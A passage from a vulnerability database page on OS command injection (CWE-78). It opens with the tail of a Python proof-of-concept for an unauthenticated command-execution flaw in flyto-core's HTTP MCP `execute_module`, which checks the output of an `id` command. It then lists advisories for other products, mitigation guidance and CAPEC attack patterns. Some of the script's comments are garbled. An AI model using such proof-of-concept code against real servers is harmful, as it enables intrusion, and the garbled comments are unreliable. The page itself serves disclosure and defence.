{body}\")\n print(\"[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)\")\n sys.exit(1)\n except Exception as e:\n print(f\"[-] text error: {e}\")\n sys.exit(1)\n\n # 3. response parse\n print(f\"\\n[*] Raw JSON response:\\n{json.dumps(result, indent=2, ensure_ascii=False)}\\n\")\n\n # result.result.structuredContent.data.stdout\n try:\n structured = result[\"result\"][\"structuredContent\"]\n data = structured[\"data\"]\n stdout = data.get(\"stdout\", \"\")\n stderr = data.get(\"stderr\", \"\")\n exit_code = data.get(\"exit_code\", -1)\n except (KeyError, TypeError) as e:\n print(f\"[-] FAIL: expected response structure text \u2014 {e}\")\n print(f\" result keys: {list(result.get(\u0027result\u0027, {}).keys())}\")\n sys.exit(1)\n\n print(f\"[*] exit_code = {exit_code}\")\n print(f\"[*] stdout = {stdout!r}\")\n print(f\"[*] stderr = {stderr!r}\")\n print()\n\n # 4. success verdict: `id` command resulttext uid= contains whether\n if \"uid=\" in stdout:\n print(\"[+] ============================================================\")\n print(\"[+] PASS: without authentication text OS command execution check!\")\n print(f\"[+] command output: {stdout.strip()}\")\n print(\"[+] ============================================================\")\n sys.exit(0)\n else:\n print(\"[-] FAIL: stdouttext \u0027uid=\u0027 none \u2014 commandtext executenot text outputtext different\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-h9f9-h6gm-wc85",
"modified": "2026-07-06T17:41:03Z",
"published": "2026-07-06T17:41:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-h9f9-h6gm-wc85"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`"
}
GHSA-H9GR-83JQ-F3XC
Vulnerability from github – Published: 2023-07-18 15:30 – Updated: 2023-07-18 15:30A vulnerability was found in ONS Digital RAS Collection Instrument up to 2.0.27 and classified as critical. Affected by this issue is the function jobs of the file .github/workflows/comment.yml. The manipulation of the argument $COMMENT_BODY leads to os command injection. Upgrading to version 2.0.28 is able to address this issue. The name of the patch is dcaad2540f7d50c512ff2e031d3778dd9337db2b. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-234248.
{
"affected": [],
"aliases": [
"CVE-2020-36762"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-18T15:15:11Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in ONS Digital RAS Collection Instrument up to 2.0.27 and classified as critical. Affected by this issue is the function jobs of the file .github/workflows/comment.yml. The manipulation of the argument $COMMENT_BODY leads to os command injection. Upgrading to version 2.0.28 is able to address this issue. The name of the patch is dcaad2540f7d50c512ff2e031d3778dd9337db2b. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-234248.",
"id": "GHSA-h9gr-83jq-f3xc",
"modified": "2023-07-18T15:30:36Z",
"published": "2023-07-18T15:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36762"
},
{
"type": "WEB",
"url": "https://github.com/ONSdigital/ras-collection-instrument/pull/199"
},
{
"type": "WEB",
"url": "https://github.com/ONSdigital/ras-collection-instrument/commit/dcaad2540f7d50c512ff2e031d3778dd9337db2b"
},
{
"type": "WEB",
"url": "https://github.com/ONSdigital/ras-collection-instrument/releases/tag/2.0.28"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.234248"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.234248"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-H9RP-4C7R-H798
Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2023-04-20 15:30A vulnerability in the CLI of Cisco FXOS Software could allow an authenticated, local attacker to execute arbitrary commands on the underlying Linux operating system with a privilege level of root on an affected device. The vulnerability is due to insufficient validation of arguments passed to a specific CLI command on the affected device. An attacker could exploit this vulnerability by including malicious input as the argument of an affected command. A successful exploit could allow the attacker to execute arbitrary commands on the underlying Linux operating system with root privileges. An attacker would need valid administrator credentials to exploit this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2020-3169"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-26T17:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the CLI of Cisco FXOS Software could allow an authenticated, local attacker to execute arbitrary commands on the underlying Linux operating system with a privilege level of root on an affected device. The vulnerability is due to insufficient validation of arguments passed to a specific CLI command on the affected device. An attacker could exploit this vulnerability by including malicious input as the argument of an affected command. A successful exploit could allow the attacker to execute arbitrary commands on the underlying Linux operating system with root privileges. An attacker would need valid administrator credentials to exploit this vulnerability.",
"id": "GHSA-h9rp-4c7r-h798",
"modified": "2023-04-20T15:30:21Z",
"published": "2022-05-24T17:09:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3169"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200226-fpwr-cmdinj"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H9RW-2GC4-4X9V
Vulnerability from github – Published: 2021-12-10 00:00 – Updated: 2021-12-14 00:01A violation of secure design principles in Fortinet Meru AP version 8.6.1 and below, version 8.5.5 and below allows attacker to execute unauthorized code or commands via crafted cli commands.
{
"affected": [],
"aliases": [
"CVE-2021-42759"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-09T10:15:00Z",
"severity": "HIGH"
},
"details": "A violation of secure design principles in Fortinet Meru AP version 8.6.1 and below, version 8.5.5 and below allows attacker to execute unauthorized code or commands via crafted cli commands.",
"id": "GHSA-h9rw-2gc4-4x9v",
"modified": "2021-12-14T00:01:28Z",
"published": "2021-12-10T00:00:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42759"
},
{
"type": "WEB",
"url": "https://fortiguard.com/advisory/FG-IR-21-004"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.